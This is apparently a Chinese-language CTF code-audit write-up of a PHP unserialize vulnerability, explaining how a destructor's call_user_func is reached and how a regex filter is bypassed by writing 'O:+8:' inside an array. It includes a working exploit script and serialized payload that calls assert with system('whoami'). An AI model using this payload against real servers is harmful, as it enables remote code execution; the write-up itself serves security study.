0x01 题目分析

一道PHP代码审计的题目,直接看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Template {

public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $this->cacheFile;
$tpl = $this->template;
call_user_func($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}

@new Template($_POST['data']);

?>

__construct():构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

__destruct():析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

反序列化漏洞调用链分析

考察点是原生的PHP unserialize反序列化漏洞。Template类有两个成员变量cacheFile和template,构造方法__construct()中调用了loadData()和render(),而析构方法__destruct()则调用了createCache();其中,loadData()是通过if判断对参数进行过滤、再调用unserialize()方法反序列化参数内容,render()是在界面输出参数的name对应的值,createCache()中以Template类的两个成员变量为参数调用call_user_func();很明显,漏洞点在于call_user_func()函数的任意函数调用,其代码逻辑在createCache()中,而createCache()函数是在析构函数__destruct()中调用,而在代码的最后是通过POST请求传入data参数来构造新的Template类实例,当所有代码执行完之后析构函数__destruct()必然会被调用;也就是说,data参数可控,可以通过构造方法调用到unserialize()方法中实现对data内容的反序列化操作,最终在代码执行完成时通过析构函数实现任意函数调用,那么反序列化利用的逻辑就理清了。

Bypass

我们看到在loadData()中是通过if判断对参数进行过滤、再调用unserialize()方法反序列化参数内容。要想进入反序列化的逻辑,必须通过下面的if判断:

1
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:\/', $data))

第一个判断条件是开头前两个字符不能为’O:’开始,第二个判断条件是正则表达式不能匹配到’O:’后面加数字这样的情况。

我们知道,正常序列化的内容为:

1
O:4:"Test":2:{s:4:"name";s:5:"SKI12";s:4:"blog";s:28:"https://blog.csdn.net/ski_12";}

PHP中可反序列化类型有String、Integer、Boolean、Null、Array、Object等,这里看来Object是行不通了。再结合代码看下:

1
2
3
4
5
6
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

在render()函数中调用了传入参数data的name对应的值,调用方式为$data[‘name’],表明data是个数组,间接提示我们可以采用数组中存储对象进行绕过。

至于第二个判断条件的Bypass,这里直接借鉴参考的文章。

第二个if判断,匹配 字符串为 \’O:任意十进制:’,将对象放入数组进行反序列化后,仍然能够匹配到,返回为空,考虑一下如何绕过正则匹配,PHP反序列化处理部分源码如下:

在PHP源码var_unserializer.c,对反序列化字符串进行处理,在代码568行对字符进行判断,并调用相应的函数进行处理,当字符为’O’时,调用 yy13 函数,在 yy13 函数中,对‘O‘字符的下一个字符进行判断,如果是’:’,则调用 yy17 函数,如果不是则调用 yy3 函数,直接return 0,结束反序列化。接着看 yy17 函数。通过观察yybm[]数组可知,第一个if判断是否为数字,如果为数字则跳转到 yy20 函数,第二个判断如果是’+’号则跳转到 yy19 ,在 yy19 中,继续对 +号 后面的字符进行判断,如果为数字则跳转到 yy20 ,如果不是则跳转到 yy18y18 最终跳转到 yy3 ,退出反序列化流程。由此,在’O:’,后面可以增加’+’,用来绕过正则判断。

利用思路

  • 构造序列化内容,将两个成员变量分别初始化为恶意函数和参数,这里设置为assert和system(‘ls’);
  • 在恶意构造的序列化内容中的’O:’后面加上+号;
  • 通过POST将序列化内容传递给data参数来触发反序列化漏洞;

Exp

1
2
3
4
5
6
7
8
9
<?php
class Template {

public $cacheFile = 'assert';
public $template = 'system(\'whoami\');';
}

echo serialize(array(new Template()));
?>

输出为:

1
a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:6:"assert";s:8:"template";s:17:"system('whoami');";}}

在’O:’后面加上+号:

1
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:6:"assert";s:8:"template";s:17:"system('whoami');";}}

触发利用:

0x02 参考

代码审计Day11 - unserialize反序列化漏洞